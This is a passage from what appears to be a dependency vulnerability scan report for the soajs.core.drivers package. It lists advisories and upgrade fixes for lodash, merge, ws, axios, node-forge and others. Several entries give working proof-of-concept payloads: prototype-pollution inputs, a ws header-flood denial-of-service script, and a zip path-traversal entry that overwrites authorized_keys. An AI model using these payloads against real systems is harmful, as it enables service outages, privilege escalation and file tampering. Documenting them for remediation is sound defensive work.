One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.11 or higher.
References
high severity
- Vulnerable module: underscore
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer-direct-transport@3.3.2 › smtp-connection@2.12.0 › httpntlm@1.6.1 › underscore@1.7.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer-smtp-transport@2.7.4 › smtp-connection@2.12.0 › httpntlm@1.6.1 › underscore@1.7.0
Overview
underscore is a JavaScript's functional programming helper library.
Affected versions of this package are vulnerable to Uncontrolled Recursion through the _.flatten() or _.isEqual() functions that are used without a depth limit. An attacker can cause the application to crash or become unresponsive by supplying deeply nested data structures as input, leading to stack exhaustion.
Workaround
This vulnerability can be mitigated by enforcing a depth limit on data structures created from untrusted input (e.g., limiting nesting to 1000 levels or fewer), or by passing a finite depth limit as the second argument to the _.flatten() function.
Remediation
Upgrade underscore to version 1.13.8 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.
Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: async
- Introduced through: async@3.1.0, googleapis@23.0.2 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › async@3.1.0Remediation: Upgrade to async@3.2.2.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › async@2.6.0Remediation: Upgrade to googleapis@26.0.1.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › async@3.2.0Remediation: Upgrade to soajs.core.modules@5.0.21.
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the mapValues() method, due to improper check in createObjectIterator function.
PoC
//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');
//does not have the property, because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);
async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
// after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
console.log(result.isAdmin);
});
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade async to version 2.6.4, 3.2.2 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.15
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › lodash@4.17.15Remediation: Upgrade to lodash@4.17.17.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.
PoC
lodash.zipobjectdeep:
const zipObjectDeep = require("lodash.zipobjectdeep");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
lodash:
const test = require("lodash");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.17 or higher.
References
high severity
- Vulnerable module: merge
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › merge@1.2.1Remediation: Upgrade to soajs.core.modules@5.0.8.
Overview
merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.
Affected versions of this package are vulnerable to Prototype Pollution. The 'merge' function already checks for 'proto' keys in an object to prevent prototype pollution, but does not check for 'constructor' or 'prototype' keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade merge to version 2.1.0 or higher.
References
high severity
- Vulnerable module: node-jose
- Introduced through: kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4
Overview
node-jose is a JavaScript implementation of the JSON Object Signing and Encryption (JOSE) for current web browsers and node.js-based servers.
Affected versions of this package are vulnerable to Infinite loop such that when using the non-default "fallback" crypto back-end, ECC operations in node-jose can trigger a Denial-of-Service (DoS) condition, due to a possible infinite loop in an internal calculation. For some ECC operations, this condition is triggered randomly; for others, it can be triggered by malicious input.
Impact: This issue is only present in situations where the "fallback" cryptographic implementation is being used, i.e., situations where neither WebCrypto nor the Node crypto module is available.
The following elliptic curve algorithms are impacted by this issue (all in lib/deps/ecc/index.js):
Elliptic curve key generation (
exports.generateKeyPair)Converting an elliptic curve private key to a public key (
ECPrivateKey.prototype.toPublicKey)ECDSA signing (
ECPrivateKey.prototype.sign)ECDSA verification (
ECPublicKey.prototype.verify)ECDH key agreement (
ECPrivateKey.prototype.computeSecret)
Workaround
Since this issue is only present in the "fallback" crypto implementation, it can be avoided by ensuring that either WebCrypto or the Node crypto module is available in the JS environment where node-jose is being run.
Remediation
Upgrade node-jose to version 2.2.0 or higher.
References
high severity
- Vulnerable module: ws
- Introduced through: ws@7.2.0
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ws@7.2.0Remediation: Upgrade to ws@7.5.10.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.
Workaround
This issue can be mitigating by following these steps:
Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent.Set
server.maxHeadersCountto 0 so that no limit is applied.
PoC
const http = require('http');
const WebSocket = require('ws');
const server = http.createServer();
const wss = new WebSocket.Server({ server });
server.listen(function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: server.address().port
});
request.end();
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.
References
high severity
- Vulnerable module: aws-sdk
- Introduced through: aws-sdk@2.178.0
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › aws-sdk@2.178.0Remediation: Upgrade to aws-sdk@2.814.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with loadSharedConfigFiles , they will pollute the prototype on the application. This can be exploited further depending on the context.
PoC by Eugene Lim:
payload.toml:
[__proto__]
polluted = "polluted"
poc.js:
var fs = require('fs')
var sharedIniFileLoader = require('@aws-sdk/shared-ini-file-loader')
async function main() {
var parsed = await sharedIniFileLoader.loadSharedConfigFiles({ filepath: './payload.toml' })
console.log(parsed)
console.log(parsed.__proto__)
console.log({}.__proto__)
console.log(polluted)
}
main()
> node poc.js
{
configFile: { default: { region: 'ap-southeast-1' } },
credentialsFile: {}
}
{ polluted: '"polluted"' }
{ polluted: '"polluted"' }
"polluted"
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade aws-sdk to version 2.814.0 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.15
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › lodash@4.17.15Remediation: Upgrade to lodash@4.17.17.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.
PoC
lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.17 or higher.
References
high severity
- Vulnerable module: merge
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › merge@1.2.1Remediation: Upgrade to soajs.core.modules@5.0.8.
Overview
merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.
Affected versions of this package are vulnerable to Prototype Pollution via _recursiveMerge .
PoC:
const merge = require('merge');
const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');
let obj1 = {x: {y:1}};
console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);
Output:
Before : undefined
After : yes
After : yes
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade merge to version 2.1.1 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5 signature verification code which does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.
Remediation
Upgrade node-forge to version 1.3.0 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@25.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Prototype Pollution via the util.setPath function.
Note: version 0.10.0 is a breaking change removing the vulnerable functions.
POC:
const nodeforge = require('node-forge');
var obj = {};
nodeforge.util.setPath(obj, ['__proto__', 'polluted'], true);
console.log(polluted);
Details
